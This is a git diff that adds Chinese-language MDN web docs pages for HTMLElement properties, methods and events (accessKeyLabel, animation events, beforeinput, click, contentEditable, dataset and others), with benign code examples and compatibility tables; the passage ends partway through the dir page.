diff options
Diffstat (limited to 'files/zh-cn/web/api/htmlelement')
30 files changed, 2963 insertions, 0 deletions
diff --git a/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html b/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html new file mode 100644 index 0000000000..b20eafe1ed --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html @@ -0,0 +1,84 @@ +--- +title: accessKeyLabel +slug: Web/API/HTMLElement/accessKeyLabel +translation_of: Web/API/HTMLElement/accessKeyLabel +--- +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> + +<p><strong><code>HTMLElement.accessKeyLabel</code></strong> 只读属性返回一个 {{jsxref("String")}} 表示这个元素分配的访问密钥(如果有的话); 否则返回一个空字符串.</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><em>label</em> = <em>element</em>.accessKeyLabel +</pre> + +<h2 id="Example" name="Example">示例</h2> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">var node = document.getElementById('btn1'); +if (node.accessKeyLabel) { + node.title += ' [' + node.accessKeyLabel + ']'; +} else { + node.title += ' [' + node.accessKey + ']'; +} + +node.onclick = function () { + var p = document.createElement('p'); + p.textContent = 'Clicked!'; + node.parentNode.appendChild(p); +}; +</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><button accesskey="h" title="Caption" id="btn1">Hover me</button> +</pre> + +<h3 id="Result">Result</h3> + +<p>{{ EmbedLiveSample('Example') }}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "interaction.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from initial definition.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Removed. <a href="https://github.com/w3c/html/pull/144">pull w3c/html#144</a>, <a href="https://github.com/w3c/html/issues/99">issue w3c/html#99</a>, <a href="https://discourse.wicg.io/t/accesskeylabel-author-accessible-info-about-shortcuts/1392/3">WICG discussion</a>.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "editing.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<div> + + +<p>{{Compat("api.HTMLElement.accessKeyLabel")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("element.accessKey")}}</li> + <li>The <a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a> global attribute.</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html b/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html new file mode 100644 index 0000000000..b20bd99752 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html @@ -0,0 +1,174 @@ +--- +title: 'HTMLElement: animationcancel event' +slug: Web/API/HTMLElement/animationcancel_event +translation_of: Web/API/HTMLElement/animationcancel_event +--- +<div>{{APIRef}}</div> + +<div>{{SeeCompatTable}}</div> + +<p>一个 <code><strong>animationcancel</strong></code> 事件会在一个 <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animation</a> 意外终止时触发. 换句话说, 就是任意时刻 CSS Animation 在没有发送 {{event("animationend")}} 事件时停止运行. 这种情况会在 {{cssxref("animation-name")}} 发生改变导致动画被移除时, 或者使用CSS隐藏了动画中的node节点. 因此要么node节点直接被隐藏，要么因为node节点的父节点被隐藏.</p> + +<p>该事件的处理函数可以通过 {{domxref("GlobalEventHandlers.onanimationcancel", "onanimationcancel")}} 属性进行设置, 或者使用 {{domxref("EventTarget.addEventListener", "addEventListener()")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th>Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th>Cancelable</th> + <td>No</td> + </tr> + <tr> + <th>Interface</th> + <td>{{domxref("AnimationEvent")}}</td> + </tr> + <tr> + <th>Event handler property</th> + <td><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationcancel">onanimationcancel</a></code></td> + </tr> + </tbody> +</table> + +<h2 id="Examples">Examples</h2> + +<p>这段代码获取一个当前在动画中的元素，并为它添加了一个<code>animationcancel</code> 事件监听. 然后设置该元素的 <code><a href="/en-US/docs/Web/CSS/display">display</a></code> 属性为 <code>none</code>, 触发 <code>animationcancel</code> 事件.</p> + +<pre class="brush: js"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">const</span> <span class="cm-def">animated</span> <span class="cm-operator">=</span> <span class="cm-variable">document</span>.<span class="cm-property">querySelector</span>(<span class="cm-string">'.animated'</span>); +</span></span></span> +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">animated</span>.<span class="cm-property">addEventListener</span>(<span class="cm-string">'animationcancel'</span>, () <span class="cm-operator">=></span> {</span></span></span> +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable"> console</span>.<span class="cm-property">log</span>(<span class="cm-string">'Animation canceled'</span>);</span></span></span> +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">});</span></span></span> + +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">animated</span>.<span class="cm-property">style</span>.<span class="cm-property">display</span> <span class="cm-operator">=</span> <span class="cm-string">'none'</span>;</span></span></span></pre> + +<p>同样, 使用 <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationcancel">onanimationcancel</a></code> 属性替换 <code>addEventListener()</code>:</p> + +<pre class="brush: js"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">const</span> <span class="cm-def">animated</span> <span class="cm-operator">=</span> <span class="cm-variable">document</span>.<span class="cm-property">querySelector</span>(<span class="cm-string">'.animated'</span>);</span></span></span> +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">animated</span>.<span class="cm-property">onanimationcancel</span> <span class="cm-operator">=</span> () <span class="cm-operator">=></span> {</span></span></span> +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable"> console</span>.<span class="cm-property">log</span>(<span class="cm-string">'Animation canceled'</span>);</span></span></span> +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">};</span></span></span> + +<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">animated</span>.<span class="cm-property">style</span>.<span class="cm-property">display</span> <span class="cm-operator">=</span> <span class="cm-string">'none'</span>;</span></span></span></pre> + +<h3 id="Live_example">Live example</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div class="animation-example"> + <div class="container"> + <p class="animation">You chose a cold night to visit our planet.</p> + </div> + <button class="activate" type="button">Activate animation</button> + <div class="event-log"></div> +</div> +</pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">.container { + height: 3rem; +} + +.event-log { + width: 25rem; + height: 2rem; + border: 1px solid black; + margin: 0.2rem; + padding: 0.2rem; +} + +.animation.active { + animation-duration: 2s; + animation-name: slidein; + animation-iteration-count: 2; +} + +@keyframes slidein { + from { + transform: translateX(100%) scaleX(3); + } + to { + transform: translateX(0) scaleX(1); + } +} +</pre> + +<h4 id="JS">JS</h4> + +<pre class="brush: js">const animation = document.querySelector('p.animation'); +const animationEventLog = document.querySelector('.animation-example>.event-log'); +const applyAnimation = document.querySelector('.animation-example>button.activate'); +let iterationCount = 0; + +animation.addEventListener('animationstart', () => { + animationEventLog.textContent = `${animationEventLog.textContent}'animation started' `; +}); + +animation.addEventListener('animationiteration', () => { + iterationCount++; + animationEventLog.textContent = `${animationEventLog.textContent}'animation iterations: ${iterationCount}' `; +}); + +animation.addEventListener('animationend', () => { + animationEventLog.textContent = `${animationEventLog.textContent}'animation ended'`; + animation.classList.remove('active'); + applyAnimation.textContent = "Activate animation"; +}); + +animation.addEventListener('animationcancel', () => { + animationEventLog.textContent = `${animationEventLog.textContent}'animation canceled'`; +}); + +applyAnimation.addEventListener('click', () => { + animation.classList.toggle('active'); + animationEventLog.textContent = ''; + iterationCount = 0; + let active = animation.classList.contains('active'); + if (active) { + applyAnimation.textContent = "Cancel animation"; + } else { + applyAnimation.textContent = "Activate animation"; + } +}); +</pre> + +<h4 id="Result">Result</h4> + +<p>{{ EmbedLiveSample('Live_example', '100%', '150px') }}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationcancel")}}</td> + <td>{{Spec2("CSS3 Animations")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.HTMLElement.animationcancel_event")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a></li> + <li><a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">Using CSS Animations</a></li> + <li>{{domxref("AnimationEvent")}}</li> + <li>Related events: <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationstart_event">animationstart</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationend_event">animationend</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationiteration_event">animationiteration</a></code></li> + <li>This event on <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document">Document</a></code> targets: <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/animationcancel_event">animationcancel</a></code></li> + <li>This event on <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window">Window</a></code> targets: <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/animationcancel_event">animationcancel</a></code></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html b/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html new file mode 100644 index 0000000000..c6358d816b --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html @@ -0,0 +1,179 @@ +--- +title: 'HTMLElement: animationiteration event' +slug: Web/API/HTMLElement/animationiteration_event +tags: + - Animation + - CSS Animations + - animationiteration event +translation_of: Web/API/HTMLElement/animationiteration_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>animationiteration</code></strong> 事件将被触发 当<a href="/en-US/docs/Web/CSS/CSS_Animations">CSS 动画</a>的迭代结束且另一个迭代开始时。此事件不会与 {{domxref("HTMLElement/animationend_event", "animationend")}} 事件同时发生t, 因此对于<code>animation-iteration-count</code>次数为1的动画不会发生。</p> + +<table class="properties"> + <tbody> + <tr> + <th>Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th>Cancelable</th> + <td>No</td> + </tr> + <tr> + <th>Interface</th> + <td>{{domxref("AnimationEvent")}}</td> + </tr> + <tr> + <th>Event handler property</th> + <td>{{domxref("GlobalEventHandlers/onanimationiteration","onanimationiteration")}}</td> + </tr> + </tbody> +</table> + +<h2 id="例子">例子</h2> + +<p>此代码使用 <code>animationiteration</code> 来跟踪动画已完成的迭代次数:</p> + +<pre class="brush: js notranslate">const animated = document.querySelector('.animated'); + +let iterationCount = 0; + +animated.addEventListener('animationiteration', () => { + iterationCount++; + console.log(`Animation iteration count: ${iterationCount}`); +});</pre> + +<p>相同, 但使用 <code>onanimationiteration</code> 事件处理程序属性：</p> + +<pre class="brush: js notranslate">const animated = document.querySelector('.animated'); + +let iterationCount = 0; + +animated.onanimationiteration = () => { + iterationCount++; + console.log(`Animation iteration count: ${iterationCount}`); +};</pre> + +<h3 id="鲜活的范例">鲜活的范例</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html notranslate"><div class="animation-example"> + <div class="container"> + <p class="animation">You chose a cold night to visit our planet.</p> + </div> + <button class="activate" type="button">Activate animation</button> + <div class="event-log"></div> +</div> +</pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css notranslate">.container { + height: 3rem; +} + +.event-log { + width: 25rem; + height: 2rem; + border: 1px solid black; + margin: 0.2rem; + padding: 0.2rem; +} + +.animation.active { + animation-duration: 2s; + animation-name: slidein; + animation-iteration-count: 2; +} + +@keyframes slidein { + from { + transform: translateX(100%) scaleX(3); + } + to { + transform: translateX(0) scaleX(1); + } +} +</pre> + +<h4 id="JS">JS</h4> + +<pre class="brush: js notranslate">const animation = document.querySelector('p.animation'); +const animationEventLog = document.querySelector('.animation-example>.event-log'); +const applyAnimation = document.querySelector('.animation-example>button.activate'); +let iterationCount = 0; + +animation.addEventListener('animationstart', () => { + animationEventLog.textContent = `${animationEventLog.textContent}'animation started' `; +}); + +animation.addEventListener('animationiteration', () => { + iterationCount++; + animationEventLog.textContent = `${animationEventLog.textContent}'animation iterations: ${iterationCount}' `; +}); + +animation.addEventListener('animationend', () => { + animationEventLog.textContent = `${animationEventLog.textContent}'animation ended'`; + animation.classList.remove('active'); + applyAnimation.textContent = "Activate animation"; +}); + +animation.addEventListener('animationcancel', () => { + animationEventLog.textContent = `${animationEventLog.textContent}'animation canceled'`; +}); + +applyAnimation.addEventListener('click', () => { + animation.classList.toggle('active'); + animationEventLog.textContent = ''; + iterationCount = 0; + let active = animation.classList.contains('active'); + if (active) { + applyAnimation.textContent = "Cancel animation"; + } else { + applyAnimation.textContent = "Activate animation"; + } +}); +</pre> + +<h4 id="结果">结果</h4> + +<iframe frameborder="no" height="265" src="" title="Live example"></iframe> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationiteration")}}</td> + <td>{{Spec2("CSS3 Animations")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.HTMLElement.animationiteration_event")}}</p> + +<h2 id="了解更多">了解更多</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Using CSS Animations</a></li> + <li>{{domxref("AnimationEvent")}}</li> + <li>Related events: {{domxref("HTMLElement/animationstart_event", "animationstart")}}, {{domxref("HTMLElement/animationend_event", "animationend")}}, {{domxref("HTMLElement/animationcancel_event", "animationcancel")}}</li> + <li><code>This event on {{domxref("Document")}} targets: {{domxref("Document/animationiteration_event", "animationiteration")}}</code></li> + <li><code>This event on {{domxref("Window")}} targets: {{domxref("Window/animationiteration_event", "animationiteration")}}</code></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html b/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html new file mode 100644 index 0000000000..fa11a7588c --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html @@ -0,0 +1,101 @@ +--- +title: 'HTMLElement: beforeinput event' +slug: Web/API/HTMLElement/beforeinput_event +tags: + - Event + - InputEvent + - beforeinput + - 事件 + - 参考 + - 实验性 +translation_of: Web/API/HTMLElement/beforeinput_event +--- +<div>{{APIRef}} {{SeeCompatTable}}</div> + +<p>DOM 事件 <strong><code>beforeinput</code></strong> 在{{HTMLElement("input")}}, {{HTMLElement("select")}} 或 {{HTMLElement("textarea")}} 的值即将被修改前触发。这个事件也可以在 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 被设置为 <code>true</code> 的元素和打开 {{domxref("Document.designMode", "designMode")}} 后的任何元素上被触发。</p> + +<p>In the case of <code>contenteditable</code> and <code>designMode</code>, the event target is the <strong>editing host</strong>. If these properties apply to multiple elements, the editing host is the nearest ancestor element whose parent isn't editable.</p> + +<table class="properties"> + <tbody> + <tr> + <th>Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th>Cancelable</th> + <td>Yes</td> + </tr> + <tr> + <th>Interface</th> + <td>{{DOMxRef("InputEvent")}}</td> + </tr> + <tr> + <th>Event handler property</th> + <td>None</td> + </tr> + <tr> + <th>Sync / Async</th> + <td>Sync</td> + </tr> + <tr> + <th>Composed</th> + <td>Yes</td> + </tr> + <tr> + <th>Default Action</th> + <td>Update the DOM element</td> + </tr> + </tbody> +</table> + +<h2 id="示例">示例</h2> + +<p>这个例子会在 {{HtmlElement("input")}} 元素的值即将被新的值更新前记录下当前的值。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><input placeholder="Enter some text" name="name"/> +<p id="values"></p></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">const input = document.querySelector('input'); +const log = document.getElementById('values'); + +input.addEventListener('beforeinput', updateValue); + +function updateValue(e) { + log.textContent = e.target.value; +}</pre> + +<h3 id="结果">结果</h3> + +<p><iframe class="live-sample-frame sample-code-frame" frameborder="0" id="frame_Examples" src="https://mdn.mozillademos.org/en-US/docs/Web/API/HTMLElement/beforeinput_event$samples/Examples?revision=1609140"></iframe></p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + </tr> + <tr> + <td>{{SpecName('UI Events', "#event-type-beforeinput", "beforeinput event")}}</td> + <td>{{Spec2('UI Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.HTMLElement.beforeinput_event")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>相关事件：<code><a href="/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html new file mode 100644 index 0000000000..96452abcc0 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/blur/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +<p>{{ APIRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p><strong>blur</strong>方法用来移除当前元素所获得的键盘焦点.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval">element.blur() +</pre> +<h3 id="Specification" name="Specification">规范</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-28216144">blur</a></p> +<h3 id="相关链接">相关链接</h3> +<ul> + <li><a href="/zh-cn/DOM/element.focus" title="zh-cn/DOM/element.focus">DOM element focus</a></li> +</ul> +<p>{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/click/index.html b/files/zh-cn/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..3508c013d3 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/click/index.html @@ -0,0 +1,44 @@ +--- +title: HTMLElement.click +slug: Web/API/HTMLElement/click +tags: + - API + - HTML DOM + - HTMLElement +translation_of: Web/API/HTMLElement/click +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p><strong>click</strong> 方法可以用来模拟鼠标左键单击一个元素。</p> + +<p>当在支持click方法的元素上使用该方法时（比如{{ HTMLElement("input") }}元素），会触发该元素的 click 事件。该事件会一直向文档树的上层元素冒泡，也会触发它们各自的click事件。但是，冒泡而来的事件会让一个 {{HTMLElement("a")}} 元素像受到真实的鼠标点击一样执行页面的跳转。</p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="syntaxbox">element.click() +</pre> + +<h3 id="Specification" name="Specification">规范</h3> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.HTMLElement.click")}}</p> diff --git a/files/zh-cn/web/api/htmlelement/contenteditable/index.html b/files/zh-cn/web/api/htmlelement/contenteditable/index.html new file mode 100644 index 0000000000..d7e96660e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/contenteditable/index.html @@ -0,0 +1,62 @@ +--- +title: HTMLElement.contentEditable +slug: Web/API/HTMLElement/contentEditable +translation_of: Web/API/HTMLElement/contentEditable +--- +<div> +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> +</div> + +<h2 id="Summary" name="Summary">概述</h2> + +<p><strong><code>HTMLElement.contentEditable</code></strong> 属性用于表明元素是否是可编辑的。该枚举属性（enumerated attribute）可以具有下面的几种值之一：</p> + +<ul> + <li><code>"true"</code> 表明该元素可编辑。</li> + <li><code>"false"</code> 表明该元素不可编辑。</li> + <li><code>"inherit"</code> 表明该元素继承了其父元素的可编辑状态。</li> +</ul> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><em>editable</em> = element.contentEditable +element.contentEditable = "true" +</pre> + +<h2 id="Notes" name="Notes">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> <br> + </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div> +<p>{{Compat("api.HTMLElement.contentEditable")}}</p> + +<p>在 IE 浏览器中，<code>contenteditable</code> 不能直接用在 {{htmlelement("table")}}、 {{htmlelement("col")}}、 {{htmlelement("colgroup")}}、 {{htmlelement("tbody")}}、 {{htmlelement("td")}}、 {{htmlelement("tfoot")}}、 {{htmlelement("th")}}、 {{htmlelement("thead")}} 和 {{htmlelement("tr")}} 标签上。一个可编辑的 {{htmlelement("span")}} 或者 {{htmlelement("div")}} 标签可以放在表格单元格内部。</p> +</div> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("HTMLElement.isContentEditable")}}</li> + <li>全局属性 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></li> + <li><a href="https://medium.com/medium-eng/why-contenteditable-is-terrible-122d8a40e480">Why ContentEditable is Terrible, Or: How the Medium Editor Works</a></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/contextmenu/index.html b/files/zh-cn/web/api/htmlelement/contextmenu/index.html new file mode 100644 index 0000000000..b0ee9e9d48 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/contextmenu/index.html @@ -0,0 +1,35 @@ +--- +title: HTMLElement.contextMenu +slug: Web/API/HTMLElement/contextMenu +tags: + - API +translation_of: Web/API/HTMLElement/contextMenu +--- +<div>{{APIRef("HTML DOM")}}{{deprecated_header()}}</div> + +<p><code><strong>HTMLElement.contextMenu</strong></code> 特性指的是某一元素用{{htmlattrxref("contextmenu")}} 特性所创建的右键快捷菜单。该菜单本身源于 {{HTMLElement("menu")}} 元素所构建。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>elementContextMenu</var> = <var>element</var>.contextMenu; +</pre> + +<h2 id="例子">例子</h2> + +<pre class="brush: js">var contextMenu = document.getElementById("element").contextMenu; + +// 修改条目1的标签 +contextMenu.firstElementChild.label = "New label"; +</pre> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.HTMLElement.contextMenu")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{htmlattrxref("contextmenu")}}</li> + <li>{{HTMLElement("menu")}}</li> + <li>{{HTMLElement("menuitem")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..63ab5f48e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/dataset/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - HTMLElement.dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +<p>{{ APIRef }}</p> + +<p><code><strong>HTMLElement.dataset</strong></code>属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有<a href="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">自定义数据属性</a>(<em>data-*</em>)集。</p> + +<p>它是一个<a href="/zh-CN/DOM/DOMStringMap">DOMString的映射</a>，每个自定义数据属性的一个条目。</p> + +<p>请注意，<strong>dataset </strong>属性本身可以被读取，但不能直接写入。相反，所有的写入必须是它的“属性”，这反过来表示数据属性。</p> + +<p>还要注意，一个HTML <code><strong>data-</strong></code><em>attribute </em>及其对应的DOM <code><strong>dataset.</strong></code><em>property</em> 不共享相同的名称，但它们总是相似的：</p> + +<ul> + <li>在HTML中的一个自定义数据属性的名称以 data- 开头。它只能包含字母，数字和以下字符： dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>) - 但不是任何ASCII大写字母（A到Z）。</li> + <li>JavaScript 中的一个自定义数据属性的名称是相同HTML属性的名称，但在 camelCase中，没有破折号，点等。</li> +</ul> + +<p> </p> + +<p>自定义的数据属性名称是以 <code>data- </code>开头的。 它必须要遵循 <a class="external" href="http://www.w3.org/TR/REC-xml/#NT-Name" rel="external nofollow" title="http://www.w3.org/TR/REC-xml/#NT-Name">the production rule of xml names</a> 规则，该规则是说它只可以包含字母，数字和下面的字符： dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>)。此外不应包含ASCII 码大写字母。</p> + +<p>自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则：</p> + +<ul> + <li>前缀 <code>data-</code> 被去除(包括减号)；</li> + <li>对于每个在ASCII小写字母<span style="line-height: 1.5;"> </span><code style="font-style: normal;">a到</code><span style="line-height: 1.5;"> </span><code style="font-style: normal;">z前面</code>的减号 (<code>U+002D</code>)，减号会被去除，并且字母会转变成对应的大写字母。</li> + <li>其他字符（包含其他减号）都不发生变化</li> +</ul> + +<p>与此相反的转换，即将键值转换为一个属性的名称，会遵循下面的规则：</p> + +<ul> + <li>约束：减号在转变前一定不能紧跟一个ASCII小写字母 <code style="font-style: normal;">a</code> 到 <code style="font-style: normal;">z之间；</code></li> + <li>添加 <code>data-</code> 前缀;</li> + <li>任何ASCII大写字母 <code>A</code> 到 <code>Z</code> 将转化成一个减号紧跟对应的小写字母；</li> + <li>其他字符不会发生变化</li> +</ul> + +<p>上面规则的约束是为了保证这两种转换是正好相反的转换。</p> + +<p>例如，属性名称 <code>data-abc-def</code> 与键值 <code>abcDef 相对应。</code></p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><em>string</em> = <em>element</em>.dataset.<em>camelCasedName</em>; +<em>element.</em>dataset.<em>camelCasedName</em> = <em>string</em>;</pre> + +<h2 id="实例">实例</h2> + +<pre class="brush: js"><div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe +</div> + +var el = document.querySelector('#user'); + +// el.id == 'user' +// el.dataset.id === '1234567890' +// el.dataset.user === 'johndoe' +// el.dataset.dateOfBirth === '' + +el.dataset.dateOfBirth = '1960-10-03'; // set the DOB. + +// 'someDataAttr' in el.dataset === false + +el.dataset.someDataAttr = 'mydata'; +// 'someDataAttr' in el.dataset === true +</pre> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>8</td> + <td>{{ CompatGeckoDesktop("6.0") }}</td> + <td>11</td> + <td>11.10</td> + <td>6</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>---</td> + <td>---</td> + <td>---</td> + <td>---</td> + <td>---</td> + </tr> + </tbody> +</table> +</div> + +<p> </p> diff --git a/files/zh-cn/web/api/htmlelement/dir/index.html b/files/zh-cn/web/api/htmlelement/dir/index.html new file mode 100644 index 0000000000..5af4c1d9f6 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/dir/index.html @@ -0,0 +1,50 @@ +--- +title: HTMLElement.dir +slug: Web/API/HTMLElement/dir +tags: + - Gecko DOM Reference +translation_of: Web/API/HTMLElement/dir +--- +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> + +<h3 id="Summary" name="Summary">概述</h3> + 